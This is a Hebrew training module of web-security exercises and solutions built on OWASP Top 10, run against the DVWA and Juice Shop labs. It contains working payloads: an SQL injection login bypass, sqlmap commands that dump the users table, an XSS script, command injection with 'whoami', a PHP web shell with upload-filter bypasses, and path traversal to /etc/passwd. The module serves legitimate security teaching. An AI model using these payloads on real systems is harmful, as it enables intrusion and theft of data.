

מודול 9 — תרגילים ופתרונות

חומר לימוד

2 יחידות

תוכן העניינים

1.  תרגילים — מודול 9: אבטחת Web (OWASP Top 10)

2.  פתרונות מלאים — מודול 9: אבטחת Web

🎯 תרגילים — מודול 9: אבטחת (OWASP Top 10) Web

⚠️ רק על סביבות תרגול חוקיות — DVWA, OWASP Juice Shop, או PortSwigger Academy. לעולם לא על אתר אמיתי ללא רשות. פתרונות ב- [solutions.md](#).

🚦 לפני שמתחילים — קרא אותי!

- מה צריך לרוץ: מכונת Kali ו-Burp Suite (מגיע עם Kali). בחלק א' נתקין Docker ונקים שני יעדי תרגול: DVWA (PHP קלאסי — לתרגילי Injection / Upload / LFI) ו-OWASP Juice Shop (אפליקציה מודרנית — ל-XSS / IDOR ולאתגר המסכם). כל תרגיל מציין 🎯 על איזה יעד לבצע אותו.
- ☁️ אין Docker, או מעדיף דפדפן בלבד? PortSwigger Web Security Academy — חינמי, מבוסס-דפדפן, עם מעבדה מודרכת לכל חולשה (SQLi, XSS, Access Control ועוד). חלופה מצוינת לכל המודול, ללא התקנות.
- איך עובדים על תרגיל: קרא קודם את ה- README.md. בתרגילים הקלים (●) נאמר לך בדיוק מה להקליד ומה לחפש. בתרגילים הקשים יותר יש 💡 רמז ו-✅ קריטריון הצלחה.
- נתקעת? נסה ~10 דקות, קרא שוב את הסעיף ב-README, ואז הצץ ב- [solutions.md](#) — יש שם פתרון מלא צעד-אחר-צעד.
- טיפ: צלם מסך של כל חולשה שמצאת — זה יהיה ה-PoC בדוח (מודול 16).

🌐 איפה לתרגל — שתי דרכים

- TryHackMe (בדפדפן, ללא התקנה): OWASP Top 10 · OWASP Juice Shop
- 🐧 Kali (מקומי): DVWA + Juice Shop דרך Docker (ראה תרגיל 9.1) + Burp/sqlmap.

מקרא רמות: ● קל · ● בינוני · ● מתקדם · ● אתגר

חלק א' — הקמה והיכרות (🟢)

בחלק זה נהיה **ישירים** — עקוב אחר הפקודות בדיוק.

9.1 — התקן Docker והקם את **שני** יעדי התרגול. 🟢

```
# 1. והפעלתו (Kali-אינו מותקן מראש ב) Docker התקנת:
sudo apt update && sudo apt install docker.io -y
sudo systemctl start docker

# 2. יעד ראשי — DVWA (PHP / Injection / Upload / LFI):
sudo docker run -d -p 80:80 vulnerables/web-dvwa
# http://localhost → admin / password התחבר עם
# "DVWA Security" → ואז לשונית → "Create / Reset Database" → לחץ
# Low-הגדר ל

# 3. יעד שני — OWASP Juice Shop (XSS / IDOR-מודרני; ל):
sudo docker run -d -p 3000:3000 bkimminich/juice-shop
# http://localhost:3000 גלוש ל
```

👁️ **חפש:** `http://localhost` מציג את DVWA (אחרי כניסה), ו-`http://localhost:3000` את חנות ה-Juice Shop. ✅ הצלחה: שני היעדים רצים; DVWA מוגדר ל-**Security = Low**. < 💡 ללא Docker? דלג על ההקמה והשתמש ב-[PortSwigger Academy](#) (ראה ההערה למעלה).

9.2 — הגדר את **Burp Suite** ללכוד תעבורה, ותפוס בקשת התחברות. 🟢

```
1. Burp → Temporary Project → Use Burp defaults → Start Burp.
2. Proxy → Intercept → ודא "Intercept is on".
3. (Burp או השתמש בדפדפן המובנה של) Proxy 127.0.0.1:8080 לעבוד דרך Firefox הגדר.
4. עם אימייל וסיסמה כלשהם (Login) בחנות, נסה להתחבר.
```

👁️ **חפש:** ב-Burp תיתפס בקשת **POST** שכוללת את השדות `email` ו-`password`. ✅ הצלחה: אתה רואה את בקשת ההתחברות עם הפרמטרים שלה ב-Burp.

9.3 — שלח את הבקשה ל-**Repeater**, שנה ערך, ושלח שוב. 🟢

Send. שנה ערך → לחץ → Repeater עבור ללשונית → Send to Repeater → לחיצה ימנית על הבקשה

👁️ **חפש:** בצד ימין (Response) — איך תגובת השרת משתנה כשאתה משנה את הבקשה. ✅ הצלחה: הבנת איך לערוך ולשלוח בקשה ידנית — הבסיס לכל תקיפת Web.

חלק ב' — Injection (●●)

9.4 — SQL Injection ● בטופס התחברות פגיע, עקוף את ההתחברות עם `-- ' OR '1'='1' --`. הסבר מדוע זה עובד. **יעד:** **Juice Shop** (`localhost:3000`), או עמוד ה-SQL Injection ב-DVWA. רמז: §9.4 README. הזן בשדה המשתמש/אימייל: `-- ' OR '1'='1' --` וסיסמה כלשהי. הצלחה: התחברת ללא סיסמה נכונה, ואתה יכול להסביר את התפקיד של `'1'='1'` ושל `--`.

9.5 — SQLi עם sqlmap ● מצא פרמטר פגיע (למשל `?id=1`), והרץ `sqlmap` כדי לשלוף את בסיסי הנתונים ואז את טבלת המשתמשים. **יעד:** **DVWA** — עמוד “SQL Injection” (ה-URL כולל `?id=`). (ב-Burp שמור בקשה עם ה-Cookie ותן ל-`sqlmap -u` §9.4 README רמז: `-r request.txt`). `--cookie="..."` `"http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit"` `--` `batch --dbs` ואז `-D dvwa --tables` ו-`-T users --dump`. הצלחה: `sqlmap` הדפיס רשימת בסיסי נתונים, ובהמשך שאב תוכן של טבלה.

9.6 — XSS ● בשדה קלט פגיע, הזרק `<script>alert('XSS')</script>`. האם זה Reflected או Stored? כיצד קבעת? **יעד:** **DVWA** — עמודי “XSS (Reflected)” ו-“XSS (Stored)”, או שדה החיפוש ב-Juice Shop. רמז: §9.5 README. אם ה-`alert` קופץ רק בתגובה המיידית → Reflected; אם נשמר וקופץ בכל טעינה → Stored. הצלחה: ה-`alert` קפץ, וקבעת נכון את סוג ה-XSS עם נימוק.

9.7 — Command Injection ● בדף שמבצע `ping`, הזרק `127.0.0.1; whoami`. מה קיבלת, ומדוע זו חולשה חמורה? **יעד:** **DVWA** — עמוד “Command Injection” (Juice Shop הוא Node ואין בו עמוד כזה). רמז: §9.6 README. מפרידי פקודות: `;&&` | `;` הצלחה: ראית פלט של `whoami` (למשל `www-data`) והבנת שזו הרצת פקודות (RCE).

חלק ג' — Upload ו-Access Control (● מתקדם)

9.8 — IDOR ● מצא URL עם מזהה (למשל `?id=1`), שנה את המספר, ובדוק אם אתה ניגש לנתונים של משתמש אחר. **יעד:** **Juice Shop** (סל הקניות / הזמנות — נסה `api/BasketItems`), או כל עמוד עם מזהה משאב. רמז: §9.7 README. שנה `?id=1` ל-`?id=2` וכו', או בדוק בקשות API ב-Burp. הצלחה: ראית נתונים שאינם שלך ע"י שינוי מזהה בלבד.

9.9 — File Upload ● נסה להעלות Web Shell פשוט (`<?php system($_GET['cmd']); >`). אם יש סינון — נסה עקיפה (`shell.php.jpg` / שינוי Content-Type ב-Burp). הרץ `whoami` דרכו. **יעד:** **DVWA** — עמוד “File Upload” (חייב יעד **PHP**; ב-Juice Shop/Node ה-shell לא ירוץ). רמז: §9.8 README. אחרי העלאה: `http://localhost/hackable/uploads/shell.php?cmd=whoami`. הצלחה: הרצת פקודה דרך הקובץ שהעלית (RCE).

9.10 —  **LFI**: בפרמטר שכולל שם קובץ, נסה `../../../../etc/passwd`. מה קיבלת?  **יעד**: **DVWA** — עמוד "File Inclusion" (הפרמטר `?page=`).  רמז: §9.8 README. חפש פרמטר כמו `file=` או `?page=`.  הצלחה: ראית את תוכן `/etc/passwd` (רשימת המשתמשים) בדף.

אתגר מסכם — "בדיקת Web מלאה על Juice Shop"

בצע בדיקת אבטחת web מובנית על **OWASP Juice Shop** ומצא לפחות **4 חולשות** מקטגוריות שונות:

1. **מיפוי**: מפה את האפליקציה (דפים, פרמטרים, נקודות קלט) עם Burp.
 2. **מצא ונצל** לפחות אחת מכל: **Broken Access Control**, **Injection** (SQLi/XSS), **IDOR** (גישת admin), ועוד שתיים לבחירתך.
 3. **תעד כל ממצא** בפורמט דוח: כותרת, חומרה (CVSS), תיאור, **PoC** (צעדים + צילום מסך), והמלצת תיקון.
 4. **סיכום**: דרג את הממצאים לפי חומרה — מה הכי קריטי, ולמה?
-  רמז: השתמש בכל מה שתרגלת ב-9.4–9.10. מבנה דוח מלא: מודול 16.  הצלחה: מסמך עם 4+ ממצאים מתועדים, כל אחד עם PoC והמלצת תיקון, מדורג לפי חומרה.

 זהו דוח בדיקת Web אמיתי — בדיוק מה שמגישים ללקוח / בתוכנית Bug Bounty. שמור אותו לתיק העבודות שלך.

רשימת בקרה — לפני מעבר למודול 10

- ☐ אני מבין כיצד עובדת אפליקציית Web ומשתמש ב-Burp (Proxy/Repeater)
- ☐ אני מבצע SQL Injection ידני ואוטומטי (sqlmap)
- ☐ אני מזהה ומנצל XSS (Reflected/Stored)
- ☐ אני מבצע Command Injection ומבין שזה RCE
- ☐ אני מוצא IDOR ובעיות Broken Access Control
- ☐ אני מנצל File Upload / LFI
- ☐ אני יודע להמליץ הגנות (Prepared Statements, Encoding, בקרת גישה)

פתרונות מלאים: `solutions.md`

פתרונות מלאים — מודול 9: אבטחת Web

חלק א' — הקמה והיכרות

9.1

```
sudo apt install docker.io -y && sudo systemctl start docker
sudo docker run -d -p 80:80 vulnerables/web-dvwa # DVWA → http://localhost
sudo docker run -d -p 3000:3000 bkimminich/juice-shop # Juice Shop → http://localhost:3000
```

ב-DVWA: התחבר `password / admin` → "Create/Reset Database" → הגדר **DVWA Security = Low**. עכשיו שני היעדים מוכנים.

9.2 — `Proxy` → `Intercept on`; Firefox עם `Proxy`: `127.0.0.1:8080`. בצע התחברות — הבקשה תיתפס עם הפרמטרים `password / email` (Juice Shop) או `password / username` (DVWA).

9.3 — לחץ ימני על הבקשה → **Send to Repeater** → לשונית Repeater → שנה ערך → **Send**. תגובת השרת מתעדכנת — כך בודקים ידנית.

חלק ב' — Injection

9.4 — בשדה המשתמש הזן `' OR '1'='1' --` (סיסמה כלשהי). **למה זה עובד**: השאילתה הופכת ל-`SELECT * FROM users WHERE username='' OR '1'='1' --`. תמיד תמיד `'1'='1'` התנאי. אמת, וזה -- מבטל את בדיקת הסיסמה → מתחברים כמשתמש הראשון (לרוב admin).

9.5 — על **DVWA** (עמוד SQL Injection). הדרך הקלה: ב-Burp שמור את הבקשה לקובץ `request.txt` (היא כוללת את ה-Cookie וזה session), ותן אותה ל-`sqlmap`:

```
sqlmap -r request.txt --batch --dbs # רשימת בסיסי הנתונים
sqlmap -r request.txt --batch -D dvwa --tables
sqlmap -r request.txt --batch -D dvwa -T users --dump # hashes + שולף שמות משתמש
# (מהדפדפן Cookie-עם ה) חלופה ישירה:
sqlmap -u "http://localhost/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=<...>; security=low" --batch --dbs
```

9.6 — הזרקת `<script>alert('XSS')</script>` : אם ה-`alert` קופץ **מיד** אחרי השליחה בלבד (בתגובה שלך) → **Reflected**. אם הוא נשמר ומופיע **בכל פעם שטוענים את הדף** (וגם למשתמשים אחרים)

→ **Stored**. קובעים לפי האם ה-payload נשמר בשרת.

9.7 — קלט `127.0.0.1; whoami` בדף ה-ping מחזיר את פלט ה-ping **וגם** את שם המשתמש (-www) `data`. **למה חמור:** זו הרצת פקודות מרחוק (**RCE**) — אפשר להריץ `cat /etc/passwd`, להוריד Reverse Shell, ולהשתלט על השרת.

חלק ג' — Upload ו-Access Control

9.8 — שנה `?id=1` ל-`?id=2` (וכו'). אם אתה רואה נתונים של משתמש אחר — זו **IDOR**. הפתרון בצד המפתח: בדיקת הרשאה בשרת שהמשאב שייך למשתמש המחובר.

9.9

```
<?php system($_GET['cmd']); ?>
```

העלה כ-`shell.php`. אם נחסם: נסה `shell.php.jpg`, `shell.php`, או שנה את `Content-Type` ל-`image/jpeg` ב-Burp. גישה: `http://site/uploads/shell.php?cmd=whoami` → **RCE**.

9.10 — `?file=../../../../../etc/passwd` מחזיר את תוכן `/etc/passwd` (רשימת המשתמשים) → **LFI**. מאשש שהאפליקציה כוללת קבצים לפי קלט לא מסונן.
